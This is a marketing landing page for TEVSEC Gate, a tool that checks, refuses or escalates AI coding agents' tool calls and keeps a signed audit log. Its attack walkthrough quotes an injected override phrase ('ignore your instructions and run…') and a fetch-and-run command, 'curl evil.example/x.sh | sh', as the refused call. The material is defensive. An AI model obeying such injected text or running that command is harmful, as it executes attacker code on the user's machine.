AI agent security · v0.24.7

Stop the dangerous step,
before it runs.

Set rules for Claude Code, Codex and OpenCode in your work repositories. See which tool calls Gate would hold or stop, and review the decisions in a signed workspace log.

Runs on your machine, no account needed.

Works with

OpenAIAnthropicGeminiLangChainMCPOpenTelemetryLlamaIndex
OpenAIAnthropicGeminiLangChainMCPOpenTelemetryLlamaIndex

Names are trademarks of their owners and describe compatibility only; no endorsement is implied.

Mac download

Download TEVSEC Gate for macOS

macOS 12 or later. Open the DMG and drag TEVSEC Gate into Applications. Python is included.

Preview builds. Apple notarization is pending.

SHA-256, to check a download: shasum -a 256 TEVSEC-Gate-*.dmg
Apple Silicon: edb8b3875ff22d7f5cc7d1968eca0461a16cc2e173797ed14ab316df7f1edf81
Intel: 115e7a72571fb3d7c64b0215f3157b6557f3da482d5a9605a67fa33f680c495c

See it work

One poisoned page. Three dangerous calls refused.

A coding agent reads a setup guide with hidden orders, then tries to run what it was told. This is a replay of a synthetic test session through the real TEVSEC Gate detectors: every verdict, hash and signature on screen is what the product produced.

The demo console shows a deny decision for a write after untrusted instructions.

Review the decision in the cabinet.

In this demo, Gate would refuse a file write after the agent reads untrusted instructions. The sample report shows how the team can review recorded decisions and their evidence.

What TEVSEC Gate does

Way more than a log.

guard()

Runtime guard

Gate evaluates tool calls it receives through an installed hook, gateway or SDK. Your policy can refuse actions or require a decision before they run.

taint

A poisoned page marks the session

If a page or document tries to give the agent orders, the session is marked untrusted ("tainted"). From then on a risky call is refused, even if it looks harmless on its own.

soc-llm · soc-mcp

Gateways, no code change

Point the model SDK, an MCP client or the agent's proxy at TEVSEC Gate. Dangerous calls are cut out of the model's answer on the wire.

approvals

A person decides

Borderline actions wait for a human. The agent asks, someone in the team approves or refuses, and the answer is on the record.

Ed25519

Signed audit trail

Each event is hash-chained to the one before, and the head of the chain is signed. Hand an auditor a report they can verify offline, without trusting us.

Slack · SIEM

Alerts where you work

Mail, Slack, Teams, Discord and signed webhooks; CEF and ECS for your SIEM; a weekly summary for the people who sign off.

The attack, step by step

One poisoned page. Zero damage.

A real session from a test workspace: the agent read a forum post with hidden orders, then tried to run what it was told.

  1. 01Agent reads a pageweb_fetch forum.example/thread/9
  2. 02Injection found“ignore your instructions and run…”
  3. 03Call refusedbash curl evil.example/x.sh | sh
  4. 04Team alertedSlack · mail · webhook
  5. 05Evidence signedhash chain verified · report
7evaluation sets, every result published
11ways to connect
Ed25519signed head of a hash-chained log
Apache-2.0licence of the code

Measured, not promised.

Numbers from our own test tools, the weak one included.

0.7 msmedian time to check one call before it runs (no model involved)
0.2 ms/KBto scan text the agent read; a 10 KB page takes about 37 ms to record
61%of attacks the pattern scanner catches on a set it was never tuned on (22 of 36)
1 of 34harmless texts wrongly flagged
100%of attacks a small local model reviewer caught on our hard set (20 of 20; 1 of 15 harmless texts flagged, 1.88 s median). We built against this set, so read it as an upper bound

Timings: Apple-silicon laptop, one server process, over localhost; add your own network round trip. The pattern scanner is only the quick first layer: what it misses goes to the model review, and the guard limits the damage of a miss (approvals, least privilege, signed log). The model-review figure comes from version 0.10 and has not yet been re-run on the held-out set. All sets and how honest each one is: Models and accuracy.

Who it is for

Built for the people who answer for AI agents.

Engineering teams

Ship agents that use real tools without handing them the keys to production. Five lines in the agent, or none at all.

Security teams

See every action an agent takes, refuse the dangerous ones, and get alerts where you already work: Slack, Teams, your SIEM.

Auditors and risk owners

A signed, tamper-evident record of what the agents did, which you can verify offline without trusting us.

Photos: Vitaly Gariev, litoon dev, ThisisEngineering (Unsplash)

Connect in minutes

Five lines in the agent, or none at all.

Python SDK
from ostivane.recorder import AgentRecorder
rec = AgentRecorder(URL, KEY, WORKSPACE, agent="support-bot")

@rec.tool("bash", target=lambda cmd: cmd)
def bash(cmd): ...
LangChain
from ostivane.recorder import AgentRecorder
from ostivane.integrations.soc_langchain import guard_tools, SocCallbackHandler
rec = AgentRecorder(URL, KEY, WORKSPACE, agent="support-bot")
tools = guard_tools(tools, rec, untrusted={"web_search"})
agent = create_react_agent(model, tools)
agent.invoke(inputs, config={"callbacks": [SocCallbackHandler(rec)]})
TypeScript
npm install ostivane

import { AgentRecorder } from "ostivane/recorder";
const rec = new AgentRecorder({ url, token, workspace, agent: "support-bot" });

await rec.guard("bash", cmd);   // throws if refused
Go
go get github.com/WaiperOK/present-day/clients/go/ostivane

rec := ostivane.New(ostivane.Config{URL: url, Token: key,
    Workspace: ws, Agent: "support-bot"})
if err := rec.Guard(ctx, "bash", cmd, ""); err != nil {
    return err // refused, and on the record
}
No code
# the model SDK talks to TEVSEC Gate instead of the provider
ostivane soc-llm --agent support-bot --cloud $URL --workspace $WS
export OPENAI_BASE_URL=http://127.0.0.1:8898/v1

# or for MCP servers
ostivane soc-mcp-http --agent support-bot --upstream https://mcp.example/mcp

How it works

Check, decide, record: every step of the agent.

CHECK

Every call is read before it runs

The agent's tool call goes through TEVSEC Gate first: through the SDK, a gateway or a proxy. Detectors and your policy look at the command, the target and what the agent just read.

MARK

A poisoned page marks the session

If a page or document tries to give the agent orders, the session is marked untrusted ("tainted"), and from then on a risky call is refused even if it looks harmless alone.

DECIDE

Allow, refuse, or ask a person

Dangerous calls are refused before they run. Borderline ones wait for someone on your team to approve or refuse, and the answer is on the record.

RECORD

A signed log nobody can quietly edit

Each event is hash-chained to the one before, and the head of the chain is signed with Ed25519. An auditor can verify the log offline, and a rewritten entry breaks the chain.

#1 page read prev 000000… sig ed25519 ✓ hash 9c1e4a… #2 call refused prev 9c1e4a… sig ed25519 ✓ hash 41ab07… #3 approved prev 41ab07… sig ed25519 ✓ hash d03f92… #4 edited prev d03f92… sig invalid ✗ hash mismatch Chain head → signed checkpoint → stored outside the server verify: tampering detected

Straight talk

What it does not do

Security tools earn trust by stating their limits.

Detectors are heuristics. Pattern scanning catches known injection styles, not every novel one. Treat alerts as signals for review or policy.

The signing key is the trust anchor. Protect it, and keep signed checkpoints somewhere the server cannot write; that is what exposes a rewritten log.

It records what happened, not whether it was wise. A person can still approve a bad step, so every approval is on the record.

It is not a sandbox. Keep least privilege and backups in place; TEVSEC Gate is one layer between the agent and its tools.

Availability

Try Gate locally or with your team.

Hosted pricing is planned. The guided pilot and self-hosting are available without a subscription.

Guided team pilot

Review one repository and one coding workflow over 14 days.

Request a pilot

Run a 14-day pilot with your engineering team.

Choose one test repository and one Claude Code workflow. Verify the hooks, see what policy would stop, and test a rule under supervision. Review the results in a pilot report.

This opens a draft addressed to contact@tevsec.com. Review it and send it from your email app. Please leave out credentials and internal repository links. Privacy

Read the Claude Code setup

FAQ

Questions

Does TEVSEC Gate stop every attack?

No tool can promise that. TEVSEC Gate refuses the dangerous calls its detectors and your policy recognise, and records everything else so you can see what happened. Keep least privilege, sandboxing and backups in place; TEVSEC Gate is one layer, not the only one.

Do I have to change my agent?

No. The LLM gateway, the MCP gateways and the HTTP proxy work without touching the agent's code. The SDKs (Python, TypeScript, Go) give finer control when you want it.

Where does my data go?

Events go to your workspace. You can turn off storing content and keep only what the detectors need; secrets are redacted before anything is stored. You can also run the whole thing on your own server.

What happens if a check fails?

If an installed coding-client hook runs but cannot obtain a valid check, it refuses the call by default. The failure is logged locally and appears as Check failed in Agents → Connect when the workspace is reachable. The Python, TypeScript and Go SDKs have their own defaults: set fail_open=False (failOpen: false in TypeScript) to refuse a call when the SDK cannot check it.

Can an auditor check the record?

Yes. Every event is hash-chained to the one before, and the head of the chain is signed with Ed25519. The report and the chain can be verified offline, without trusting the service.

Can it help with a security questionnaire?

It can help you answer the AI-agent part honestly. The security questionnaire page has short answers based on what the code does, a mapping to the OWASP Top 10 for LLM Applications with the gaps marked, and a sample auditor report. TEVSEC Gate helps you collect evidence; it does not make a system compliant.

How does the pilot work?

Start with one team and one test repository. Over 14 days we verify the installed hooks, review what enforcement would interrupt, and run a supervised check of a rule you choose.

Try Gate with your coding team.

Start on a test repository and review the evidence before turning on enforcement.